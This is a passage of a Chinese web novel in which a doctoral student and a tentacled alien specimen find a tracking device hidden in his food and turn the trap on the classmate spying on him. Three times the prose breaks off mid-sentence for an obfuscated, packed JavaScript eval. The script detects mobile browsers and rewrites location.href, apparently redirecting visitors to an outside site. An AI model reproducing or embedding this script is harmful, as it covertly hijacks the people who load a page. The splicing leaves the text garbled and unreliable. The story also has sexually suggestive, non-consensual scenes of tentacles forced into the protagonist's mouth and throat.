一开始还能表达抗拒的唔唔声,后面就只剩下闷哼了。 双眼很快爬满红血丝,刚被擦拭掉泪水,泪腺就再一次应激。 泪水很快蓄满了眼眶,最终滑落下来。 陆禾下意识地后仰,但这反倒更方便了祂的深·入。 陆禾的舌头本能地抵着往外推拒,但那点力道和祂的腕足相比,无异于螳臂当车。 口腔黏膜开始发干。 他感受到了不断呼吸的吸盘。 津液……也是祂食谱上的东西。 陆禾意识到。 随着空气逐渐稀薄,他进一步意识到,K-13星球样本的食谱里,或许还包括人类的胃液。 就在陆禾以为自己要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954828|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被那触手从内直接吸成干尸,已经开始悄悄去摸手边的抽屉。 他记得里头放着一把剪刀。 陆禾开始思考剪刀的强度能否和触手的韧度相抗。 但下一秒。 陆禾终于被那东西放开了。 “嗬…嗬……” 陆禾大口地汲取新鲜的空气,不停地干呕,触手上的黏液从唇角滑落,但他甚至没有力气去擦。 生.理性泪水模糊了视线,他用力闭了闭眼睛,视觉重新变得清晰。 就在他警惕而防范地抬眼看着那触手,观察“祂”究竟是真的停下了,还是会有进一步的动作。 他看到那根不打招呼就拜访了他的胃一遭的腕足舒展开了团起来的尖端。 一颗被包裹在一层胶质里,泛着金属色泽的东西,从中滚落到了桌面上。 陆禾盯着桌面上的那个东西。 他终于知道,为什么今天自己会那么渴,然后觉得消化不好了。 陆禾读硕士的时候,曾经参加过一个野外种群观察项目。 种群的行动轨迹也是观察的内容之一,而无人机的追踪有的时候并不那么方便,定位项圈也是比较老旧的方法,在面对一些攻击性较强的物种时会又危险。 所以,人类发明出了一种可以掺杂在食物之中的微型定位器。 陆禾清楚地记得那个领队告诉他的内容。 “这东西个体很小,但进入生物体内后,会迅速吸水膨胀,在外形成一层无法消化的物质,并且因为体积足够大,会堵在胃里,永远无法排出。” 因为体积非常小,别说动物了,连人类都很难发觉,所以慢慢的这东西就取代了其他定位仪器,基本上霸占了市场。 如果误食了,解决方法也很简单,赶紧喝点香油就行了。 因为这东西的存在,所以陆禾今天才这么渴,喝了一瓶又一瓶水。 但他只以为是别的原因,根本没往这东西上想。 若不是“祂”用触手帮忙把已经进入胃里的这东西取出来,陆禾恐怕这辈子都没想到,自己的体内会有一个微型追踪定位器。 陆禾看了一眼正彼此清理着的几根触手,目光又扫过面前亮着的光脑屏幕。 “祂”在科技器械和电子元件方面的理解和感知度,应该已经高到了一个无法想象的底部。 刚刚腰上那根触手按压他胃部的动作,就应该是感知到了他体内有这样一个奇怪的东西。 所以才直接进去帮他取了出来。 触手察觉到陆禾的视线,再一次贴上来。 似乎是尝到了更美味的食物,那腕足再一次倾向陆禾的唇。 但被陆禾握在掌心里,往下巴压了压。 祂应该是吃饱了,所以也没有抵抗,显出几分酒足饭饱的慵懒。 陆禾低头看着,白皙的肤色和深紫色的触手形成了鲜明的颜色对比。 腕足的直径比之前又大了一圈,陆禾偏小的手掌几乎快要握不住, 难怪撑得他嗓子疼。 先是替他止血,又是替他取出这定位器。 虽然陆禾始终觉得,祂这些行为偏向于食欲的本能更多,但此时此刻看着“祂”,心中还是忍不住生出一丝柔软的触感。 目光重新落到桌面上的定位器。 陆禾眼底的温度迅速降了下来。 他今天并没有吃什么东西,简单一回忆就能想到。 所以,陆禾很快就锁定了“罪魁祸首”。 “刚出炉热乎着呢,冷了就没那么香了。” “内馅里面有些坚果碎,可以吃的。” “不用吐。” 是朱港明给他的那个焦糖牛角包。 8. 第 8 章 牛角包,似乎是唯一的答案。 陆禾不明白朱港明为什么要这样做,无缘无故要监控他的动向。 所有的变化皆有因果,而陆禾回忆了一下,自己这段时间以来,生活里的唯一变化就只有一样。 祂的出现。 而连带的影响,与朱港明有关的,也只有一件——张朗的死。 陆禾不敢相信自己的猜测。 目光发直地看着前方,陆禾伸手去摸那个微型定位器,但只摸到了桌板。 他转头看去,就见一根触手已经将那定位器外面的胶质物撕开,拿出里面的电子元件,另一根触手高高举起。 祂是打算直接毁掉! “等等!” 陆禾伸手将那定位器抢过来,但抢到一半,手腕被从旁伸来的触手圈住,又一次拽了回去。 一人一……怪,你拖我拽了好几个来回。 “不要毁掉。”陆禾认真地说,“我还有用。” 既然“祂”有着能碾压人类的智慧,陆禾猜测,其实“祂”也能听懂人类的语言。 否则也不可能破译了密码,还替他把光脑升级了。 哪怕只能听懂简单的部分,但话语里的情绪和意思,应该也是能理解的。 正如陆禾所想。 在感受到陆禾的抗拒后,“祂”竖起一根触手,打了个弯,十分清楚地表达了不解的情绪——这个不是什么好东西,为什么要留着? 触手上的力道加大,就要从陆禾的掌心里把那定位器抢走。 陆禾一急,另一只手抓着那钻在自己掌心里的腕足。 “不要!” 虽然牛角包的确是朱港明给的,但他是否知情,还需要再确定。 而且朱港明背后的人是谁,也有待观察。 陆禾心情急切,想要把这唯一的线索留下来,而“祂”一直以来不论是智慧还是力量都远超陆禾这个在人类里都算弱小的普通人。 以至于话出口的时候,陆禾语气不自觉带上了几分可怜兮兮的祈求味道。 方才被触手洗胃,一双干净漂亮的眼睛还带着轻微的血丝和泪光,在室内的灯光下亮莹莹的。 加之触手后半段的径宽过大,以至于唇变得有些红和肿。 额前的碎发被薄汗濡湿,乌黑的发丝衬得肌肤更加雪白,此时此刻的陆禾看起来,就像个易碎的瓷娃娃。 “这个不能毁掉。”陆禾认真地说着,丝毫没有察觉到自己此时此刻的模样带有一种怎样的气质。 他握着腕足,轻轻摩挲了一下。 “留给我嘛。” 手腕上缠着的触手缓缓松懈了力道,那颗被拆出来的定位器也落回了陆禾掌心里。 陆禾五指收拢将东西藏好,免得祂一会儿又出尔反尔。 因为从小没被宠过,也没有人可以依赖的缘故,陆禾根本没有意识到,自己刚刚无意识的那种行为,在其他人的眼里,其实被定义为“撒娇”。 陆禾起身,还想着找个东西把定位器装起来。 但还没迈出两步,脚踝上传来一股力道。 他低头,看到自己白皙清瘦的脚踝被套上了一圈深紫色的触手,吸盘吻着凸起的踝骨,留下圆形的痕迹。 力量猛地增大。 陆禾啊了一声,整个人直接被反向吊起,拖回到了床上。 手里的微型定位器飞出一个抛物线,落进了沙发缝隙里。 陆禾刚把位置记下来,下一瞬人就被翻了个身。 他趴在床上,双腿脚踝各被一根触手固定住,第三根触手从后绕过来,带着恰到好处让他需要抬起头张嘴呼吸的力道,勒住了他的脖子。 双手抓向颈部的触手,但还没碰到就被另外两根触手卷住。 脖颈上的那根触手圈紧陆禾,腕足尖端高高翘起。 祂居高临下地观赏起来。 一个眼里含着泪光,红唇微张着努力呼吸,不断往外吐着热气的漂亮脸蛋。 陆禾被祂完完全全控制住。 这是全部属于祂的瓷娃娃。 腕足定格了一瞬。 然后勾上了陆禾的舌尖。 * “陆学长,又当水牛啦。” 陆禾扯了扯嘴角。 他面不改色地把自己的水杯装满,回到了自己的工位上。 昨天晚上“祂”不知道受了什么刺激,后面大半个小时,触手一直在往陆禾的嘴巴里钻。 不过还好没有一开始取那个微型定位器的时候那样直接进到食道里。 要是再来一次,陆禾觉得自己真的要崩溃了。 但尽管没有那么严重,陆禾还是流了不少失控的泪水。 连同着其他的一起被那触手吃了个干干净净。 所以他今天才这么口渴。 “早啊大家。” 一个声音从前方传来。 陆禾眉毛一挑,不动声色地摸了摸自己的裤子口袋。 微型定位器被他用之前装耳塞的小盒子装了起来,此刻就带在身上。 脚步声和说话声很快就到了面前,正如所预料的那般。 “早啊,陆禾。” 朱港明笑着到了陆禾身边。 “吃早饭了吗?”他问。 陆禾端过水杯喝了一口,再像是拿不稳一般放下。 他抬起头的时候,手掌捂着胃,脸上已经换上了一副有些难受的神情。 “港明。” “陆禾你怎么了,不舒服吗?”朱港明像是十分关切地问了一句,“你是胃难受?” 陆禾说:“不知道,我昨晚开始就觉得消化不太好,胃里一直有些发涨,也吃不下什么东西。” 当年去野外考察的时候,陆禾亲眼看到一只野驴在吃了有微型定位器的甘薯后,接近一周都没怎么进食,基本上都是在喝水。 所以该表现出怎么样的反应,他比谁都清楚。 “那你还有哪里不舒服吗,要不要去看看医生啊?”朱港明睁大了眼睛,看着陆禾问道。 “医院太贵了,我早上去了趟校医,开了点药。”陆禾摇摇头,又喝了小半杯水,“就是有些渴。” 朱港明说:“最近的天气是比较干燥。” 陆禾没说话。 “那你如果不舒服的话叫我,我陪你去校医那边。”朱港明道。 校医院的设备简陋,只能开点基本的用药,胃镜之类的设备更是没有。 陆禾经济拮据,根本不舍得花钱去医院做全方位的检查,再熬个几天,那东西就会永远无声无息地留在陆禾胃里,直到死也察觉不到。 朱港明眼底闪过一丝暗光。 他自以为掩饰得很好,却不知陆禾早已生了防备,暗中观察着捕捉到了一切。 目送着“朋友”的背影回到工位,陆禾一直按着口袋的手缓缓抓紧。 如果说昨晚的怀疑度只有百分之三十,那现在他有八成的把握确定,朱港明对那个牛角包里的微型定位器是知道的。 至于朱港明的行为是否和张朗的死有关。 陆禾还有第二步计划。 博士生的时间安排相对自由,陆禾不时会有一段时间自己一个人在实验室里。 因为其他的本科生研究生同门都去上课了。 比如现在。 下午的四点半,正好卡在后两节刚上课没多久。 陆禾将裤子口袋里那只装有微型定位器的小盒子,将盒子拿出来看了一眼。 他一边思考一边出了实验室的门。 陆禾沿着空荡荡的走廊到尽头的楼梯口,整栋学院楼的情况和他们实验室差不多,基本上没什么人,也就零零散散的五六个学生,大部分也都坐在工位上。 他的经过悄无声息,没有引起任何人的注意。 陆禾一路上到了最顶层。 教室冗余,顶楼的几间教室都是空的,前后大门大喇喇地敞开,窗边挂着其他实验室用久了后拿过来替换的破旧窗帘。 因为没人,打扫也就不必要,连走廊地板上都积了一层灰。 但就在这布满陈旧痕迹的楼层里,却有一处显得格格不入。 洗手间。 张朗死亡的,那间男洗手间。 陆禾抬起手,掌心里的那颗微型定位器,此刻正闪烁着工作状态下的红色小点。 看了一眼现在的时间,下午四点四十分。 陆禾深吸一口气,朝洗手间的大门走了进去。 * 首都大学公共教学楼里。 老师在讲台边坐着念PPT,学生在台下昏昏欲睡。 但最后排却有一个很精神的面孔。 朱港明在算他的存款。 几张银行卡的活期余额,存款,以及不同的支付软件上的零钱……零零总总加起来,大概九万。 这是他上大学这些年省吃俭用存下来的。 虽然相比起周围的富二代来说,这点小钱或许都没有人家一个包、一顿饭贵。 但于朱港明的生活品质而言,已经是六七年能存下来的最一大笔积蓄了。 但很快,这就是笔小钱了。 朱港明眼神渐渐失去了聚焦,他望着面前的虚空,脸上泛开一个愉悦到极致,以至于有些扭曲的笑容。 只要他找到陆禾犯罪的线索,从张朗的妈妈那里拿到那笔承诺的酬金。 也不枉他跟条狗似的在张朗身边讨人欢心那么久。 没有人知道,张朗那天突然回实验室,其实是因为看不惯陆禾,想要趁没人的时候,把陆禾的K-13星球样本毁了。 而当时替张朗关掉了实验室门口监控摄像头的,就是朱港明。 没想到人居然死了。 不过,死的真好,朱港明微笑。 死了还能给他带来20万。 要是活着,不过是大少爷高兴了就请他吃两顿饭,喝两杯酒。 哪有钱来得实在。 至于张朗究竟是怎么死的,丢失的监控怎么解释,陆禾究竟是否无辜…… 朱港明不在乎。 他只想要那20万。 所以在知道张朗死了的时候,朱港明就尝试联系张朗的家里人了。 却不想私家侦探更早地找上了他。 朱港明将张朗回实验室的目的说了,张郎家里自然笃定死因和陆禾脱不了干系。 嘟嘟—— 手里的光脑震了一下,朱港明低头看了一眼消息,皱起眉头。 [陌生号码:现在马上去一趟案发现场,立刻!] 是张太太请的私家侦探。 为了不留下痕迹,朱港明一向都即时删除和张郎母亲那边的沟通记录,号码也没有存。 朱港明下意识地想发一个问号过去,但考虑到对方是雇主,他忍住了。 [我在上课,一定要现在吗?] 首都大学对硕士的毕业要求很严格,考试没有补考机会,出勤不满不能结课。 朱港明一直以来都没有缺席过任何课堂。 但对方的态度比他想象得还要强硬。 [陌生号码:我说现在就去!] [陌生号码:除非你不想合作了] 朱港明狠狠皱了一下眉毛,一向外表温和的眼底涌出一股凶戾。 他按在光脑屏幕上的手指有些发白,但闭上眼睛默念了几句一切都是为了钱,最终发出去的消息,仍旧克制。 [好,需要我做什么?] [陌生号码:陆禾刚刚突然去了死者被发现的洗手间,我推测他就是在那里将人杀害的。 [陌生号码:带上我给你的微型摄像机,看看能不能录到什么线索] 朱港明根本不理解对方在想什么,但据说张家已经找了最好的律师团队,哪怕证据链不足,只要能将陆禾跟张朗的死扯上一丝关系,他们就能把黑的说成白的,将人定罪。 而陆禾这样的穷小子,是请不起律师的。 想着事后能拿到的那一大笔酬劳,朱港明咬了咬牙。 很快,他的身影就消失在了教室的后门外。 * 陆禾站定在镜子前。 今天下午姜荷出门去上课的时候,和他聊了两句,说感觉陆禾跟之前比,似乎哪里变了。 说不出是气质还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968363|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么。 陆禾之前并不这么觉得。 直到他站在这里。 洗手间里已经被警察取证完毕,校方嫌死了人晦气,等现场解除封锁的当天就让人从上到下全部清理了一遍。 听说还偷偷找了人来做法事,虽然被官方否认了。 但空气里很淡的香灰纸钱气味,混合着地板散发出来的消毒水味,都很明显地昭示着,这地方发生过什么。 因为洗手间里常年不见光,虽然在顶层,但依旧有一股从地板上透出来的阴冷。 换成以前的自己,或许早就已经吓得不行了吧。 但也不清楚是这段时间经历的事情太多,还是因为每日生活在随时可能死亡的压力下。 现在的陆禾抬起头。 他看到了镜子里自己没什么表情的倒影。 唇角被触手从他胃里拿定位器的时候撑破了一点点,先前没发觉,现在照镜子倒是看到了。 看着唇角的小破口,陆禾有点出神。 从这段时间的各种事情,已经确定了人类的血液在“祂”的食谱里优先级并不高。 但接踵而来的就是新的问题。 在“祂”眼里,自己是什么? 食物。 ——这是昨晚之前,陆禾毫不犹豫就能给出的答案。 但昨晚之后,陆禾虽然没有表现出来,但很多事情的定义和判断,已经悄然变化。 他抬起手,纤长的手指触碰到唇角,下意识地压了一下。 “嘶……”陆禾吃痛,但神经元的反馈也告诉他,这一切都是事实。 捕食者不会在乎猎物的肚子里是否有一个追踪定位器,捕食者只在乎食物新不新鲜,好不好吃。 不管是“祂”替自己把胃里的定位器拿出来,还是拿出来后想要毁掉的行为,都在反复强化陆禾的新认知。 ——“祂”,并不一定只把他当成食物。 这个结论有待继续验证。 但只能稍后再说。 因为此时,门外已经传来一阵隐约的脚步声,听得出被刻意放得很轻。 但过分安静的环境里,即使只是落下一片叶子,也能被轻松地捕捉到。 陆禾看了一眼门外,斜照进来的阳光角度正好。 他半张脸迎着阳光,瞳光清澈; 半张脸没入阴影里,看不清眸色里的深浅。 目光缓缓收回,看了眼身后泛着一股凉意的洗手间。 他抬起手,关了洗手间里的灯。 这下洗手间里彻底黑了下来,外面的光恰好被拐弯的墙壁阻隔,黑得伸手不见五指。 但下一秒,一只手却从身后勒住了他的腰!!! 大脑里乍一下,陆禾头皮都发麻了起来。 他刚刚检查过,这洗手间里分明没有人…… 腰间的那只手十分冰凉,隔着衣服陆禾都能感受到手臂上的温度,冷得刺人。 死人的体温,才会冷成这样。 手掌捏成拳头,陆禾望着墙角隐微的幽光,他想着搏一把看看是否能跑出去。 只要进了阳光的范围内,估计就没事了。 那只手的力道陡然加大! 陆禾下意识地将浑身的力道绷紧,腿抬起来,准备往后用力一踹。 但一股熟悉的淡淡甜香味,让他瞬间停在了原地。 “……” “……是你吗。”陆禾轻声开口。 他的手带着细微不可察觉的轻颤,覆盖上了腰间的那只手臂。 在摸到熟悉的黏液质感和腕足上的吸盘后,陆禾整个人彻底松懈了下来。 是祂。 不是鬼。 放松下来的陆禾大口大口地呼吸,补充着因为紧张而导致短缺的氧气。 一根触手轻轻环上了他的脖颈。 力道稍微收紧,腕足尖端触上微张的唇。 陆禾下意识地想要抵抗。 昨晚这家伙在他嘴巴里扫荡,把口腔黏膜弄得干巴巴的,今早喝了好多水才缓过来。 而且触手上的吸盘总喜欢吸·他的舌·尖玩,那种感觉属实算不上美妙。 但抗拒的手掌都抬起到一半,陆禾却停下了动作。 他顺从地张开口,让腕足进去进食。 舌尖甚至碰了碰腕足尖上的吸盘。 陆禾观察过,腕足前段更细,上面的吸盘也更小,应该分布着更多的神经末梢。 果不其然,舌尖触碰到的时候,那根触手轻轻地颤栗了一下。 随即便是更加热烈的回应。 陆禾甚至忍着唇角的轻微疼痛,又张大了点。 腕足尖端压到柔软,喉管控制不住地收缩,小巧漂亮的喉结上下滚动。 直到祂吃饱了收回触手,陆禾又一次渴得开始舔嘴唇。 腕足立起来,有些好奇地观察着陆禾,似乎并不理解为什么这个一向带着些抗拒的人类,今天会对自己的行为如此顺从。 陆禾翘了翘嘴角。 他本来的计划很简单,朱港明来了后一定会进洗手间里观察自己的情况,当对方进去后,他从门外反锁。 楼上没人来,朱港明要是不想暴露自己鬼鬼祟祟地跑上张朗死亡的顶层洗手间,就不能找身边的同学。 那唯一求救的对象,大概率就是背后操纵他的人。 但是这个计划的不确定性太大。 万一朱港明不怕暴露,又或者他有别的人可以求助,再或者,幕后之人不想暴露自己的存在,打算放弃朱港明这颗棋子呢? 但祂的突然到来,却让陆禾的计划,有了一个变得完美无缺的机会。 陆禾伸手,握住一根在旁边晃动的腕足,按到了自己的腰上。 腕足一顿,随即紧紧地将他缠着。 其他几根腕足也在挥舞着,看起来,祂似乎对陆禾的主动“献身”感到很高兴。 而让祂高兴了的陆禾,也趁此机会开口。 “一会帮我一个忙?” “既然我都喂饱你了……好不好?” 腕足在空中打了个弯,表达出询问。 ——什么忙? 9. 第 9 章 朱港明将微型摄影机卡在领口,一路上了楼梯。 他内心暗骂真是该死,陆禾怎么偏偏挑这个时候跑去案发现场。 那个私家侦探也是,这样真能找到什么吗? 朱港明不懂刑侦破案,只担心自己会被老师点到名然后记缺席。 他给室友发了条消息说如果老师考勤了看看能不能帮他个忙,后者也没回复。 愈发急躁的朱港明加快了点脚步,一直到了洗手间门口。 敞开的洗手间大门里,一片黑洞洞的。 像是未知巨兽的巨口,能把人直接吞噬。 朱港明竖起耳朵,并没有听到里面有什么说话的声音,甚至连人活动的动静也没有。 他给私家侦探发了消息汇报情况,那边沉默了许久,最后发来一条。 [未知号码:进去看看,小心些] 朱港明嗤了一声。 装得神神道道的,还以为是什么很厉害的大侦探呢。 走进洗手间,朱港明咳嗽了两声。 没回应。 他又继续往里走了一段,不知什么时候天阴了,门外的光线照不进来,四周愈发昏暗。 洗手间里太黑了,还有一股奇怪的味道。 朱港明想到张朗被发现时的惨状。 虽然他没有亲眼看到,但各种以讹传讹说得绘声绘色的描述,才让人忍不住去脑补得更加恐怖。 一阵凉风不知道从哪里吹来,拂过后脖颈,激起一片鸡皮疙瘩。 腰侧传来一阵被触碰的感觉,悄无声息。 “啊!”朱港明叫出声来,“是谁!” 但他伸手去抓,却什么也没有抓到。 朱港明心跳加速,伸手去摸墙壁上的开关,在摸到一个方形的突起区域后,终于松了一口气。 啪。 哐! 灯光亮起,驱散了黑暗,朱港明稍松一口气的同时,开始疑惑刚刚那跟着开关一起响起的声音究竟是什么。 他下意识地抬起头观察,却直接吓了个魂飞魄散。 每层楼的洗手间格局都一样,所以朱港明才能在黑暗里找到开关。 洗手间的门口正对着的就是洗手台,台面上的墙壁嵌了一面镜子。 而此时,冰冷泛着雾痕的镜面上,有两个红得像鲜血一般,正往下滑落出无数道血痕的大字。 你好 朱港明张着嘴发出漏气的惊叫,但转过头的时候,他才知道刚刚那哐的一声,是身后洗手间的大铁门被人从外面拉上的声音。 之前太黑,他又害怕,注意力全在洗手间内部,完全没注意到身后的变化。 而此时再伸手去拉,已经拉不开了。 一门之隔的走廊外。 陆禾听见门板后朱港明的哭腔,夹杂着“有人吗”,“是你吗陆禾”,“放我出去”之类的尖叫。 他手掌一翻,掌心里拿着的,正是朱港明放在腰间口袋的光脑。 触手灵活地摆动了一下,陆禾伸手摸了摸祂。 “真厉害。”陆禾夸赞了一句。 触手又晃了晃,圈着陆禾的脖子,吃饱了也不乱钻了,腕足尖端翘着拨弄陆禾柔软的耳朵。 陆禾也没管,任凭触手把自己的耳朵弄得红红的,覆盖上了湿漉漉的黏液。 他打开朱港明的光脑。 有密码锁。 他刚抬起头,一根触手从旁伸来,在屏幕上调出一个陆禾从没见过的界面,迅速按了一大串看不懂的代码之后,光脑的密码锁就自动解开了。 陆禾很快找到了那个“陌生号码”。 因为来得着急,加上心情不佳,这一次朱港明并没有及时删除双方的沟通记录。 陆禾看完后,终于确定了自己的猜想。 朱港明在提张朗家收集证据,打算把杀人的罪过扣到他头上。 虽然真正的凶手并不是他,而是现在他肩膀上趴着的这位。 但是不论是朱港明还是张朗家里,都不在乎这个,朱港明是为了钱,而张朗家里,只想找个人给自己的儿子陪葬。 而陆禾……也不在乎。 事情发展到这一步,陆禾看了看手里的光脑,谁做的,也许早已并没有什么分别。 [陌生号码:汇报进度] 双目微垂,陆禾眼底的神色晦暗不明。 其实今天的这一切都在他的算计之中。 刑侦届有一条十分出名且被高度认同的定律:各种案件的侦破情况表明,行凶者在案发后的一段时间内,有很大的概率会回到作案地点,欣赏自己的杰作。 这条定律,张家请的私家侦探也一定知道。 所以陆禾跟他玩的就是反心理。 他在对话框里敲下一行字。 [证据已找到,陆禾要杀我!] [救命!] 如果说光脑在朱港明手里,他可能会求助同学、朋友,甚至报警,更甚至他求助了那私家侦探,对方为了不打草惊蛇,可能会放弃这颗棋子。 但当朱港明掌握了“陆禾犯罪的绝对性证据”的情况下呢? 背后控制他的人,一定坐不住。 做完这一切,陆禾将手里的光脑递到肩头,触手随意地将光脑卷走。 祂主要的心思还是在玩陆禾的耳朵。 软软的,耳廓已经被吸盘弄红了。 陆禾亲眼看着,不过数息之间,连承载超万吨的运输空间车碾压后依旧能保存记忆芯片元件的光脑,就在那看着柔软的触手包裹下,化作了一片齑粉。 他唯一能想到的解释,就是K-13星球的生物对物质甚至是化学元素的掌控程度也到了很高的水平。 联想到祂所展现出来的幼年期就碾压成年人类博士的智慧,陆禾觉得似乎也并不怎么意外。 就是缠在自己脖子上的东西,是不是有点危险? 似乎是察觉到了陆禾的心思。 腕足尖端抬起,轻轻地碰了碰陆禾的唇。 陆禾不曾多想,下意识舔了舔发干的唇。 “又饿了?” 看了一眼时间,他还能回实验室喝杯水。 陆禾下楼的时候还担心祂会被发现或者被监控拍到,但是当路过摄像头时,平日里会追着人转动的镜头依旧一动不动,陆禾就猜到,应该是祂把摄像头黑掉了。 回到工位上,实验室里依旧空无一人。 祂明显还记得这地方,触手戳了戳桌面上的培养皿。 陆禾望着这一幕,很想打个商量看看能不能让祂允许自己切一小块下来做实验用。 但想了想,陆禾还是没有冒这个险。 楼下传来一阵汽车的轰鸣声,陆禾走到床边。 视线自高处垂落,车门打开时,露出了灰色格子的布料一角。 陆禾转身,上了楼。 * 朱港明整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984280|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人缩在洗手间的一角里,望着从紧闭的大门缝隙中将将透出来的一点光亮,抖若筛糠。 他从刚刚开始就求着陆禾把自己放出去,但门外始终一片安静,无人回应。 而在摸到自己空荡荡的口袋,意识到光脑不翼而飞的那一刻,心中的绝望便达到了极点。 出不去门,联系不了外界,顶楼发生过命案的洗手间…… 怎么听,都不像是有活路的感觉。 陆禾是要把他困死在这。 朱港明猛地想到:莫非张朗的死,真与陆禾有关? 他想要的只是那20万,却不曾真的相信过,平日里脾气温和,很好欺负的陆禾,真的会和杀人事件扯上关系! 完了,全完了…… 他越想越觉得,这洗手间里是不是开始冒出一股血腥味了。 咚咚咚—— 铁皮门无端被砸得砰砰响,精神面临崩溃的朱港明直接叫了出来。 门外很快传来了一声叫骂。 “朱港明你在里面吗?” 朱港明辨认出那声线,惊叫道:“我在里面!快开门!” 哐当一声,铁皮门缓缓开启,朱港明再次见到阳光的那一刻,激动得快要流下眼泪。 但相比起他的激动。 整个人被包裹在灰格呢子大衣里的私家侦探,表情有些阴沉。 “你说的证据呢?”他问。 朱港明一愣:“什么证据?” “你光脑发给我的东西啊!”侦探将自己的光脑举到朱港明面前,屏幕上是两个号码之间的聊天记录。 “不,不是我啊!”朱港明下意识地辩驳了一句,手掌在口袋之间摸索,“我光脑不见了……” 他说到一半反应过来了。 这是一个陷阱! 私家侦探也反应过来了,怒火升腾,气得牙关紧咬。 他望着面前一脸无措的朱港明,气得直接一巴掌扇了过去。 朱港明耳边听见了辣得发疼的嗡鸣声。 规划好的行动全部被打乱,私家侦探冷着脸在原地思考该怎么挽救现在的局面。 敏锐地察觉到了点动静,他猛地转头望去。 此处正对大楼另一侧的楼梯间。 侧墙的窗户开着,阳光在台阶上铺下一个三角形的光斑,除此之外,没有其他。 错觉吗。 侦探缓缓收回目光。 而另一侧楼梯里,陆禾的后背贴着泛凉的墙壁,而面前倾身上来的,亦是一片湿凉。 刚刚那侦探回过头的动作太突然,一直站在窗前冷眼旁观的陆禾根本没反应过来。 但祂却像是早有预感,直接把愣在原地的自己拉进了旁边的隐蔽处里。 结论已经十分明了,张朗家盯上了他。 对方虽不是什么高门大户,但碾死陆禾这样一个普通人,不要太容易。 而现在自己唯一可以依靠的可能,就只有祂了。 既然如此·…… 望着面前游动的触手,陆禾顺从地仰起脖颈,让其中一根绕上自己的脖子。 指节轻轻蹭了一下腕足,后者打了个旋。 ? “没事。” 陆禾向后靠上墙壁,望着头顶的天花板。 他总该做点什么。 至少得弄清楚,自己在“祂”心里的分量。 又能将祂利用到一个什么样的程度。 10. 第 10 章 陆禾又做了一个梦。 当然,他很清楚自己在做梦。 毕竟周围比较熟的男性基本全是科研狗,一个两个常年泡在实验室里,肚子大,胳膊细,是没有梦里那双手的漂亮蜜色肌肉的。 更别说还有轻易把他抱起来的力道。 梦后面的内容愈发让人眼迷心乱,陆禾只记得自己醒来之前,那双托着他腰的手力道收紧,低沉得让人脊骨酥麻的声音落在耳畔,轻轻唤了他的名字。 “陆…禾……” 陆禾从床上坐了起来。 晨曦拂晓,天边的微光透过窗帘,隐约照亮了室内。 陆禾活动了一下有些酸麻的腿。 察觉到什么,他掀开被子看了一眼。 陆禾:…… 蹑手蹑脚地下了床,陆禾从衣柜里拽了一条干净的贴身衣物,进了浴室。 没多久,里面响起轻微的水声。 他自己以为自己动作安静而又隐蔽,却没察觉到从他下床的那一刻起,盘踞在天花板上的触手,就已经开始动了。 深紫色的腕足攀上浴室的门沿。 但在即将到陆禾背后时,那腕足停顿了一下。 随即又悄无声息地,缩回了原本的位置。 陆禾晒了衣物,回到卧室里继续睡回笼觉。 这几天搬走的人越来越多,房子也越变越安静,陆禾开始偶尔躲懒睡久一点。 很快,他的呼吸安静下来,蜷着身体缩在被子里。 被角挡着半张脸,只露出白皙的额头和清秀的眉眼,像一只睡着了的小猫。 循着空气里未散的淡淡气味,深紫色的影子从天花板钻出了阳台。 触手攀上了衣架,触及布料。 一根,两根,三根…… 那刚刚被陆禾洗干净挂好,还在往下滴水珠的衣物,几乎是数息之间,就完全变干了。 吃饱喝足。 祂又回到了房间的天花板上。 * “陆学长,想请教你一个实验数据的问题,你有空吗?” 陆禾将光脑熄屏,伸手接过学弟递来的实验报告。 他速读了一遍上面的实验方案和数据,简明扼要地圈出来几个可以调整或者做对比实验的点。 学弟醍醐灌顶:“哦!我明白了,谢谢陆学长!” 陆禾将手里的实验报告还给他。 人离开,陆禾重新点亮了光脑。 意外的,屏幕上并不是几年如一日的实验设计方案,执行进度,数据回收之类的成套的科研表格。 而是一个论坛。 陆禾是被推荐过来的。 他想要测试自己在“祂”那边的分量,总得用点手段。 但对方毕竟是非人生物,很多观念跟人类不一样,简单来说挑衅一个人大部分的情况下是吵架,但惹怒一头狮子,大概率会直接被咬死。 但陆禾对人情往来之事,可以说是一窍不通。 所以打算上网找找。 就被人推荐了这个据说是集结了全国大小八卦各种狗血剧场的匿名论坛。 不管是家庭伦理、恋爱狗血还是朋友反目,都可以找到富有斗争经验的人。 所以陆禾就来了。 陆禾一开始搜的是“如何确定你在一个生物心中的地位”。 搜出来的都是铲屎官的分享贴。 所以他现在把“生物”改成了“人”。 